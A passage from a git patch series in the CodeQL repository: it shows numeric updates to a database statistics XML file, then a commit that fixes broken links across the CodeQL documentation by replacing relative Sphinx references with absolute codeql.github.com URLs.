<b>2</b> -<v>213428</v> +<v>213579</v> </b> <b> <a>2</a> <b>3</b> -<v>31028</v> +<v>31050</v> </b> <b> <a>3</a> <b>7</b> -<v>4403</v> +<v>4406</v> </b> </bs> </hist> @@ -43438,12 +43449,12 @@ <b> <a>1</a> <b>2</b> -<v>555</v> +<v>556</v> </b> <b> <a>2</a> <b>3</b> -<v>399</v> +<v>400</v> </b> <b> <a>3</a> @@ -43453,7 +43464,7 @@ <b> <a>4</a> <b>5</b> -<v>316</v> +<v>317</v> </b> <b> <a>5</a> @@ -43504,7 +43515,7 @@ <b> <a>1</a> <b>2</b> -<v>599</v> +<v>600</v> </b> <b> <a>2</a> @@ -43514,12 +43525,12 @@ <b> <a>3</a> <b>4</b> -<v>282</v> +<v>283</v> </b> <b> <a>4</a> <b>5</b> -<v>316</v> +<v>317</v> </b> <b> <a>5</a> @@ -43529,7 +43540,7 @@ <b> <a>7</a> <b>10</b> -<v>282</v> +<v>283</v> </b> <b> <a>10</a> @@ -43554,7 +43565,7 @@ <b> <a>152</a> <b>15028</b> -<v>238</v> +<v>239</v> </b> </bs> </hist> @@ -43564,11 +43575,11 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5563</cardinality> +<cardinality>5567</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>4627</v> +<v>4630</v> </e> <e> <k>param</k> @@ -43590,12 +43601,12 @@ <b> <a>1</a> <b>2</b> -<v>3764</v> +<v>3767</v> </b> <b> <a>2</a> <b>3</b> -<v>789</v> +<v>790</v> </b> <b> <a>3</a> @@ -43616,12 +43627,12 @@ <b> <a>1</a> <b>2</b> -<v>4057</v> +<v>4060</v> </b> <b> <a>2</a> <b>3</b> -<v>555</v> +<v>556</v> </b> <b> <a>3</a> @@ -43764,12 +43775,12 @@ <b> <a>1</a> <b>2</b> -<v>721</v> +<v>722</v> </b> <b> <a>2</a> <b>3</b> -<v>238</v> +<v>239</v> </b> <b> <a>3</a> @@ -43795,7 +43806,7 @@ <b> <a>1</a> <b>2</b> -<v>1067</v> +<v>1068</v> </b> <b> <a>2</a> @@ -43810,11 +43821,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>96259</cardinality> +<cardinality>96327</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>90129</v> +<v>90193</v> </e> <e> <k>index</k> @@ -43822,7 +43833,7 @@ </e> <e> <k>value</k> -<v>17130</v> +<v>17142</v> </e> </columnsizes> <dependencies> @@ -43836,12 +43847,12 @@ <b> <a>1</a> <b>2</b> -<v>85443</v> +<v>85503</v> </b> <b> <a>2</a> <b>7</b> -<v>4686</v> +<v>4689</v> </b> </bs> </hist> @@ -43857,12 +43868,12 @@ <b> <a>1</a> <b>2</b> -<v>85453</v> +<v>85513</v> </b> <b> <a>2</a> <b>7</b> -<v>4676</v> +<v>4679</v> </b> </bs> </hist> @@ -43955,22 +43966,22 @@ <b> <a>1</a> <b>2</b> -<v>12351</v> +<v>12360</v> </b> <b> <a>2</a> <b>3</b> -<v>2462</v> +<v>2464</v> </b> <b> <a>3</a> <b>6</b> -<v>1428</v> +<v>1429</v> </b> <b> <a>6</a> <b>5555</b> -<v>887</v> +<v>888</v> </b> </bs> </hist> @@ -43986,7 +43997,7 @@ <b> <a>1</a> <b>2</b> -<v>16803</v> +<v>16815</v> </b> <b> <a>2</a> @@ -44001,19 +44012,19 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6183669</cardinality> +<cardinality>6187767</cardinality> <columnsizes> <e> <k>entity</k> -<v>5692332</v> +<v>5696083</v> </e> <e> <k>location</k> -<v>3418</v> +<v>3420</v> </e> <e> <k>handle</k> -<v>274343</v> +<v>274538</v> </e> </columnsizes> <dependencies> @@ -44027,17 +44038,17 @@ <b> <a>1</a> <b>2</b> -<v>5219194</v> +<v>5222609</v> </b> <b> <a>2</a> <b>3</b> -<v>464112</v> +<v>464440</v> </b> <b> <a>3</a> <b>638</b> -<v>9026</v> +<v>9032</v> </b> </bs> </hist> @@ -44053,12 +44064,12 @@ <b> <a>1</a> <b>2</b> -<v>5451328</v> +<v>5454908</v> </b> <b> <a>2</a> <b>59</b> -<v>241004</v> +<v>241174</v> </b> </bs> </hist> @@ -44160,7 +44171,7 @@ <b> <a>3</a> <b>20</b> -<v>282</v> +<v>283</v> </b> <b> <a>20</a> @@ -44231,62 +44242,62 @@ <b> <a>1</a> <b>2</b> -<v>18949</v> +<v>18962</v> </b> <b> <a>2</a> <b>3</b> -<v>45057</v> +<v>45089</v> </b> <b> <a>3</a> <b>5</b> -<v>23933</v> +<v>23950</v> </b> <b> <a>5</a> <b>6</b> -<v>17525</v> +<v>17538</v> </b> <b> <a>6</a> <b>7</b> -<v>30160</v> +<v>30181</v> </b> <b> <a>7</a> <b>9</b> -<v>18988</v> +<v>19001</v> </b> <b> <a>9</a> <b>11</b> -<v>22104</v> +<v>22120</v> </b> <b> <a>11</a> <b>13</b> -<v>21051</v> +<v>21066</v> </b> <b> <a>13</a> <b>21</b> -<v>21480</v> +<v>21495</v> </b> <b> <a>21</a> <b>39</b> -<v>21143</v> +<v>21158</v> </b> <b> <a>39</a> <b>83</b> -<v>20587</v> +<v>20602</v> </b> <b> <a>83</a> -<b>1062</b> -<v>13361</v> +<b>1061</b> +<v>13370</v> </b> </bs> </hist> @@ -44302,52 +44313,52 @@ <b> <a>1</a> <b>2</b> -<v>62953</v> +<v>62998</v> </b> <b> <a>2</a> <b>3</b> -<v>21109</v> +<v>21124</v> </b> <b> <a>3</a> <b>4</b> -<v>47022</v> +<v>47055</v> </b> <b> <a>4</a> <b>5</b> -<v>18949</v> +<v>18962</v> </b> <b> <a>5</a> <b>6</b> -<v>19412</v> +<v>19426</v> </b> <b> <a>6</a> <b>7</b> -<v>22080</v> +<v>22095</v> </b> <b> <a>7</a> <b>11</b> -<v>23308</v> +<v>23325</v> </b> <b> <a>11</a> <b>19</b> -<v>22011</v> +<v>22027</v> </b> <b> <a>19</a> <b>41</b> -<v>20870</v> +<v>20885</v> </b> <b> <a>41</a> <b>702</b> -<v>16623</v> +<v>16635</v> </b> </bs> </hist> From 3da66b7fd9bc5c27f241b35d5388883e77623ed0 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 6 Jan 2021 16:34:28 +0000 Subject: [PATCH 0461/1241] Fix broken links from Sphinx linkcheck --- docs/codeql/codeql-cli/about-ql-packs.rst | 4 +++- .../codeql-cli/creating-codeql-query-suites.rst | 2 +- .../codeql-library-for-cpp.rst | 4 ++-- .../codeql-library-for-javascript.rst | 4 ++-- .../codeql-library-for-typescript.rst | 2 +- .../data-flow-cheat-sheet-for-javascript.rst | 2 +- .../modeling-data-flow-in-go-libraries.rst | 2 +- .../using-type-tracking-for-api-modeling.rst | 12 ++++++------ docs/codeql/ql-language-reference/annotations.rst | 2 +- .../evaluation-of-ql-programs.rst | 4 ++-- docs/codeql/ql-language-reference/expressions.rst | 4 ++-- docs/codeql/ql-language-reference/formulas.rst | 2 +- docs/codeql/ql-language-reference/lexical-syntax.rst | 2 +- docs/codeql/ql-language-reference/modules.rst | 4 ++-- .../codeql/ql-language-reference/name-resolution.rst | 8 ++++---- docs/codeql/ql-language-reference/predicates.rst | 4 ++-- docs/codeql/ql-language-reference/types.rst | 6 +++--- docs/codeql/ql-language-reference/variables.rst | 2 +- .../writing-codeql-queries/about-codeql-queries.rst | 2 +- .../writing-codeql-queries/cross-the-river.rst | 2 +- .../writing-codeql-queries/introduction-to-ql.rst | 2 +- 21 files changed, 39 insertions(+), 37 deletions(-) diff --git a/docs/codeql/codeql-cli/about-ql-packs.rst b/docs/codeql/codeql-cli/about-ql-packs.rst index 8ed639d9de7..200dadc173b 100644 --- a/docs/codeql/codeql-cli/about-ql-packs.rst +++ b/docs/codeql/codeql-cli/about-ql-packs.rst @@ -57,6 +57,8 @@ from any location in the pack by declaring ``import mycompany.java.CustomSinks`` For more information, see ":ref:`Importing modules <importing-modules>`" in the QL language reference. +.. _qlpack-yml-properties: + ``qlpack.yml`` properties ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -101,7 +103,7 @@ The following properties are supported in ``qlpack.yml`` files. * - ``upgrades`` - ``.`` - Packs with upgrades - - The path to a directory within the pack that contains upgrade scripts, defined relative to the pack directory. The ``database upgrade`` action uses these scripts to update databases that were created by an older version of an extractor so they're compatible with the current extractor (see `Upgrade scripts for a language <upgrade-scripts-for-a-language>`__ below.) + - The path to a directory within the pack that contains upgrade scripts, defined relative to the pack directory. The ``database upgrade`` action uses these scripts to update databases that were created by an older version of an extractor so they're compatible with the current extractor (see `Upgrade scripts for a language <#upgrade-scripts-for-a-language>`__ below.) .. _custom-ql-packs: diff --git a/docs/codeql/codeql-cli/creating-codeql-query-suites.rst b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst index 9c3579acd4a..04de07c5c33 100644 --- a/docs/codeql/codeql-cli/creating-codeql-query-suites.rst +++ b/docs/codeql/codeql-cli/creating-codeql-query-suites.rst @@ -254,7 +254,7 @@ without providing their full path. This gives you a simple way of specifying a set of queries, without needing to search inside QL packs and distributions. To declare a directory that contains "well-known" query suites, add the directory to the ``suites`` property in the ``qlpack.yml`` file at the root of your QL pack. -For more information, see "`About QL packs <qlpack-overview.html#qlpack-yml-properties>`__." +For more information, see ":ref:`About QL packs <qlpack-yml-properties>`." Using query suites with CodeQL ------------------------------ diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst index 0b0156d4da3..f7fa6751c3e 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst @@ -703,8 +703,8 @@ Further reading .. _SizeofPackOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofPackOperator.html .. _StmtExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$StmtExpr.html .. _ThisExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$ThisExpr.html -.. _ThrowExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ThrowExpr.html -.. _ReThrowExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ReThrowExpr.html +.. _ThrowExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$ThrowExpr.html +.. _ReThrowExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$ReThrowExpr.html .. _TypeidOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$TypeidOperator.html .. _UuidofOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$UuidofOperator.html .. _VoidType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$VoidType.html diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst index 570e45401d6..1a3fd411dd6 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-javascript.rst @@ -215,7 +215,7 @@ From a syntactic point of view, each JavaScript program is composed of one or mo - `EventHandlerCode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$EventHandlerCode.html>`__: code from an event handler attribute such as ``onload`` - `JavaScriptURL <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$JavaScriptURL.html>`__: code from a URL with the ``javascript:`` scheme - - `Externs <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$Externs.html>`__: a JavaScript file containing `externs <https://developers.google.com/closure/compiler/docs/api-tutorial3#externs>`__ definitions + - `Externs <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$Externs.html>`__: a JavaScript file containing `externs <https://developers.google.com/closure/compiler/docs/externs-and-exports>`__ definitions Every `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ class is contained in a `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__ class, but a single `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__ may contain more than one `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__. To go from a ``TopLevel tl`` to its `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, use ``tl.getFile()``; conversely, for a ``File f``, predicate ``f.getATopLevel()`` returns a top-level contained in ``f``. For every AST node, predicate ``ASTNode.getTopLevel()`` can be used to find the top-level it belongs to. @@ -361,7 +361,7 @@ JavaScript provides several ways of defining functions: in ECMAScript 5, there a - ``Function.getId()`` returns the `Identifier <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ naming the function, which may not be defined for function expressions. - ``Function.getParameter(i)`` and ``Function.getAParameter()`` access the ``i``\ th parameter or any parameter, respectively; parameters are modeled by the class `Parameter <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__, which is a subclass of `BindingPattern <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Variables.qll/type.Variables$BindingPattern.html>`__ (see below). -- ``Function.getBody()`` returns the body of the function, which is usually a `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__, but may be an `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ for arrow function expressions and legacy `expression closures <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Expression_closures>`__. +- ``Function.getBody()`` returns the body of the function, which is usually a `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__, but may be an `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ for arrow function expressions and legacy `expression closures <https://developer.mozilla.org/en-US/docs/Archive/Web/JavaScript/Expression_closures>`__. As an example, here is a query that finds all expression closures: diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst b/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst index 096e699d9ee..e729011a3e9 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-typescript.rst @@ -138,7 +138,7 @@ The CodeQL class `ClassOrInterface <https://codeql.github.com/codeql-standard-li Note that the superclass of a class is an expression, not a type annotation. If the superclass has type arguments, it will be an expression of kind `ExpressionWithTypeArguments <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExpressionWithTypeArguments.html>`__. -Also see the documentation for classes in the "`CodeQL libraries for JavaScript <introduce-libraries-js#classes>`__." +Also see the documentation for classes in the "`CodeQL libraries for JavaScript <https://codeql.github.com/docs/codeql-language-guides/codeql-library-for-javascript/#classes>`__." To select the type references to a class or an interface, use ``getTypeName()``. diff --git a/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst index 25bb80c38fe..92eb35d4d2e 100644 --- a/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/data-flow-cheat-sheet-for-javascript.rst @@ -36,7 +36,7 @@ This query reports flow paths which: - Step through variables, function calls, properties, strings, arrays, promises, exceptions, and steps added by `isAdditionalTaintStep <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/TaintTracking.qll/predicate.TaintTracking$TaintTracking$Configuration$isAdditionalTaintStep.2.html>`__. - End at a node matched by `isSink <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Configuration.qll/predicate.Configuration$Configuration$isSink.1.html>`__. -See also: "`Global data flow <analyzing-data-flow-in-javascript-and-typescript.html#global-data-flow>`__" and ":ref:`Creating path queries <creating-path-queries>`." +See also: "`Global data flow <https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript/#global-data-flow>`__" and ":ref:`Creating path queries <creating-path-queries>`." DataFlow module --------------- diff --git a/docs/codeql/codeql-language-guides/modeling-data-flow-in-go-libraries.rst b/docs/codeql/codeql-language-guides/modeling-data-flow-in-go-libraries.rst index b57b57820a6..9e3c068701e 100644 --- a/docs/codeql/codeql-language-guides/modeling-data-flow-in-go-libraries.rst +++ b/docs/codeql/codeql-language-guides/modeling-data-flow-in-go-libraries.rst @@ -27,7 +27,7 @@ example from ``Mux.qll``. } This has the effect that all calls to `the function Vars from the -package mux <http://www.gorillatoolkit.org/pkg/mux#Vars>`__ are +package mux <https://github.com/gorilla/mux>`__ are treated as sources of untrusted data. Flow propagation diff --git a/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst index 9debe98ae99..e1690397e63 100644 --- a/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst +++ b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst @@ -11,9 +11,9 @@ The type-tracking library makes it possible to track values through properties a usually to recognize method calls and properties accessed on a specific type of object. This is an advanced topic and is intended for readers already familiar with the -`SourceNode <analyzing-data-flow-in-javascript-and-typescript.html#source-nodes>`__ class as well as -`taint tracking <analyzing-data-flow-in-javascript-and-typescript.html#using-global-analyzing-data-flow-and-tracking-tainted-data-in-python>`__. -For TypeScript analysis also consider reading about `static type information <codeql-library-for-typescript.html.html#static-type-information>`__ first. +`SourceNode <https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript/#source-nodes>`__ class as well as +`taint tracking <https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript/#using-global-taint-tracking>`__. +For TypeScript analysis also consider reading about `static type information <https://codeql.github.com/docs/codeql-language-guides/codeql-library-for-typescript/#static-type-information>`__ first. The problem of recognizing method calls @@ -458,7 +458,7 @@ Here's an example that the model from this tutorial won't find: let wrapper = wrapDB(firebase.database()) wrapper.db.ref("forecast"); // <-- not found -This is an example of where `data-flow configurations <analyzing-data-flow-in-javascript-and-typescript.html#global-data-flow>`__ are more powerful. +This is an example of where `data-flow configurations <https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript/#global-data-flow>`__ are more powerful. When to use type tracking ------------------------- @@ -491,7 +491,7 @@ Prefer type tracking when: Prefer data-flow configurations when: -- Tracking user-controlled data -- use `taint tracking <analyzing-data-flow-in-javascript-and-typescript.html#using-global-analyzing-data-flow-and-tracking-tainted-data-in-python>`__. +- Tracking user-controlled data -- use `taint tracking <https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-javascript-and-typescript/#using-global-taint-tracking>`__. - Differentiating between different kinds of user-controlled data -- see ":doc:`Using flow labels for precise data flow analysis <using-flow-labels-for-precise-data-flow-analysis>`." - Tracking transformations of a value through generic utility functions. - Tracking values through string manipulation. @@ -499,7 +499,7 @@ Prefer data-flow configurations when: Lastly, depending on the code base being analyzed, some alternatives to consider are: -- Using `static type information <codeql-library-for-typescript.html.html#static-type-information>`__, +- Using `static type information <https://codeql.github.com/docs/codeql-language-guides/codeql-library-for-typescript/#static-type-information>`__, if analyzing TypeScript code. - Relying on local data flow. diff --git a/docs/codeql/ql-language-reference/annotations.rst b/docs/codeql/ql-language-reference/annotations.rst index 58777e6ef93..b3dabb42bfb 100644 --- a/docs/codeql/ql-language-reference/annotations.rst +++ b/docs/codeql/ql-language-reference/annotations.rst @@ -47,7 +47,7 @@ Overview of annotations This section describes what the different annotations do, and when you can use them. You can also find a summary table in the Annotations section of the -`QL language specification <ql-language-specification#annotations-in-java>`_. +`QL language specification <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#annotations>`_. .. index:: abstract .. _abstract: diff --git a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst index eeb7a678b98..4b94a957a04 100644 --- a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst +++ b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst @@ -23,7 +23,7 @@ A QL program is evaluated from the bottom up, so a predicate is usually only eva all the predicates it depends on are evaluated. The database includes sets of ordered tuples for the `built-in predicates -<ql-language-specification#built-ins>`_ and :ref:`external predicates <external>`. +<https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins>`_ and :ref:`external predicates <external>`. Each evaluation starts from these sets of tuples. The remaining predicates and types in the program are organized into a number of layers, based on the dependencies between them. @@ -35,7 +35,7 @@ results of the program. The results are sorted according to any ordering directi (``order by``) in the queries. For more details about each step of the evaluation process, see the "`QL language specification -<ql-language-specification#evaluations-of-ql-programs>`_." +<https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#evaluation>`_." Validity of programs ******************** diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index 0027ecd5e5f..f51983063fb 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -63,7 +63,7 @@ You can express certain values directly in QL, such as numbers, booleans, and st "hello" "They said, \"Please escape quotation marks!\"" - See `String literals <ql-language-specification#string-literals-string>`_ + See `String literals <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#string-literals-string>` in the QL language specification for more details. Note: there is no "date literal" in QL. Instead, to specify a :ref:`date <date>`, you should @@ -572,7 +572,7 @@ The following table lists some examples of different forms of ``any`` expression .. pull-quote:: Note - There is also a `built-in predicate <ql-language-specification#non-member-built-ins>`_ + There is also a `built-in predicate <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#non-member-built-ins>`_ ``any()``. This is a predicate that always holds. Unary operations diff --git a/docs/codeql/ql-language-reference/formulas.rst b/docs/codeql/ql-language-reference/formulas.rst index 9996f1c11fa..b4bc7481aeb 100644 --- a/docs/codeql/ql-language-reference/formulas.rst +++ b/docs/codeql/ql-language-reference/formulas.rst @@ -37,7 +37,7 @@ Order To compare two expressions using one of these order operators, each expression must have a type and those types must be :ref:`compatible <type-compatibility>` and -`orderable <ql-language-specification#ordering>`_. +`orderable <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#ordering>`_. +--------------------------+--------+ | Name | Symbol | diff --git a/docs/codeql/ql-language-reference/lexical-syntax.rst b/docs/codeql/ql-language-reference/lexical-syntax.rst index 7553b7b92bc..9051e4cd5fb 100644 --- a/docs/codeql/ql-language-reference/lexical-syntax.rst +++ b/docs/codeql/ql-language-reference/lexical-syntax.rst @@ -8,7 +8,7 @@ Lexical syntax The QL syntax includes different kinds of keywords, identifiers, and comments. For an overview of the lexical syntax, see "`Lexical syntax -<ql-language-specification#lexical-syntax>`_" in the QL language specification. +<https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#lexical-syntax>`_" in the QL language specification. .. index:: comment, QLDoc .. _comments: diff --git a/docs/codeql/ql-language-reference/modules.rst b/docs/codeql/ql-language-reference/modules.rst index a02a4f2a800..b9998b63248 100644 --- a/docs/codeql/ql-language-reference/modules.rst +++ b/docs/codeql/ql-language-reference/modules.rst @@ -29,7 +29,7 @@ a class ``OneTwoThree``: } } -The name of a module can be any `identifier <ql-language-specification#identifiers>`_ +The name of a module can be any `identifier <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers>`_ that starts with an uppercase or lowercase letter. ``.ql`` or ``.qll`` files also implicitly define modules. @@ -186,5 +186,5 @@ for example ``import javascript as js``. The ``<module_expression>`` itself can be a module name, a selection, or a qualified reference. For more information, see ":ref:`name-resolution`." -For information about how import statements are looked up, see "`Module resolution <ql-language-specification#module-resolution>`__" +For information about how import statements are looked up, see "`Module resolution <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#module-resolution>`__" in the QL language specification. \ No newline at end of file diff --git a/docs/codeql/ql-language-reference/name-resolution.rst b/docs/codeql/ql-language-reference/name-resolution.rst index 6d4d4b96993..c8fc351cffb 100644 --- a/docs/codeql/ql-language-reference/name-resolution.rst +++ b/docs/codeql/ql-language-reference/name-resolution.rst @@ -80,7 +80,7 @@ statement as follows: #. If the compiler can't find the library file using the above two checks, it looks up ``examples/security/MyLibrary.qll`` relative to each library path entry. The library path is usually specified using the ``libraryPathDependencies`` of the ``qlpack.yml`` file, though it may also depend on the tools you use to run your query, and whether you have specified any extra settings. - For more information, see "`Library path <ql-language-specification#library-path>`__" in the QL language specification. + For more information, see "`Library path <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#library-path>`__" in the QL language specification. If the compiler cannot resolve an import statement, then it gives a compilation error. @@ -158,7 +158,7 @@ Namespaces ********** When writing QL, it's useful to understand how namespaces (also known as -`environments <ql-language-specification#name-resolution>`_) work. +`environments <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#name-resolution>`_) work. As in many other programming languages, a namespace is a mapping from **keys** to **entities**. A key is a kind of identifier, for example a name, and a QL entity is @@ -185,7 +185,7 @@ In particular: - The **global module namespace** is empty. - The **global type namespace** has entries for the :ref:`primitive types <primitive-types>` ``int``, ``float``, ``string``, ``boolean``, and ``date``, as well as any :ref:`database types <database-types>` defined in the database schema. - - The **global predicate namespace** includes all the `built-in predicates <ql-language-specification#built-ins>`_, + - The **global predicate namespace** includes all the `built-in predicates <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins>`_, as well as any :ref:`database predicates <database-predicates>`. In practice, this means that you can use the built-in types and predicates directly in a QL module (without @@ -301,7 +301,7 @@ The type namespace of ``S`` has entries for: The predicate namespace of ``Villagers`` has entries for: - The predicate ``isBald``, with arity 1. - Any predicates (and their arities) exported by ``tutorial``. - - The `built-in predicates <ql-language-specification#built-ins>`_. + - The `built-in predicates <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins>`_. The predicate namespace of ``S`` has entries for: - All the above predicates. diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index 0b725d14a76..9b7bb4d9a60 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -37,7 +37,7 @@ The `arity <https://en.wikipedia.org/wiki/Arity>`_ of these predicates is one an In general, all tuples in a predicate have the same number of elements. The **arity** of a predicate is that number of elements, not including a possible ``result`` variable. For more information, see ":ref:`predicates-with-result`." -There are a number of `built-in predicates <ql-language-specification#built-ins>`_ +There are a number of `built-in predicates <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins>`_ in QL. You can use these in any queries without needing to :ref:`import <importing-modules>` any additional modules. In addition to these built-in predicates, you can also define your own: @@ -51,7 +51,7 @@ When defining a predicate, you should specify: #. The keyword ``predicate`` (for a :ref:`predicate without result <predicates-without-result>`), or the type of the result (for a :ref:`predicate with result <predicates-with-result>`). -#. The name of the predicate. This is an `identifier <ql-language-specification#identifiers>`_ +#. The name of the predicate. This is an `identifier <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers>`_ starting with a lowercase letter. #. The arguments to the predicate, if any, separated by commas. For each argument, specify the argument type and an identifier for the argument variable. diff --git a/docs/codeql/ql-language-reference/types.rst b/docs/codeql/ql-language-reference/types.rst index 405723b706e..ae37230f05c 100644 --- a/docs/codeql/ql-language-reference/types.rst +++ b/docs/codeql/ql-language-reference/types.rst @@ -50,7 +50,7 @@ independent of the database that you are querying. QL has a range of built-in operations defined on primitive types. These are available by using dispatch on expressions of the appropriate type. For example, ``1.toString()`` is the string representation of the integer constant ``1``. For a full list of built-in operations available in QL, see the -section on `built-ins <ql-language-specification#built-ins>`__ in the QL language specification. +section on `built-ins <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#built-ins>`__ in the QL language specification. .. index:: class .. _classes: @@ -76,7 +76,7 @@ Defining a class To define a class, you write: #. The keyword ``class``. -#. The name of the class. This is an `identifier <ql-language-specification#identifiers>`_ +#. The name of the class. This is an `identifier <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers>`_ starting with an uppercase letter. #. The types to extend. #. The :ref:`body of the class <class-bodies>`, enclosed in braces. @@ -449,7 +449,7 @@ The branch definitions have the following form: <BranchName>(<arguments>) { <body> } -- The type name and the branch names must be `identifiers <ql-language-specification#identifiers>`_ +- The type name and the branch names must be `identifiers <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#identifiers>`_ starting with an uppercase letter. Conventionally, they start with ``T``. - The different branches of an algebraic datatype are separated by ``or``. - The arguments to a branch, if any, are :ref:`variable declarations <variable-declarations>` diff --git a/docs/codeql/ql-language-reference/variables.rst b/docs/codeql/ql-language-reference/variables.rst index 7fdc7506580..7f151a362e9 100644 --- a/docs/codeql/ql-language-reference/variables.rst +++ b/docs/codeql/ql-language-reference/variables.rst @@ -23,7 +23,7 @@ Declaring a variable ******************** All variable declarations consist of a :ref:`type <types>` and a name for the variable. -The name can be any `identifier 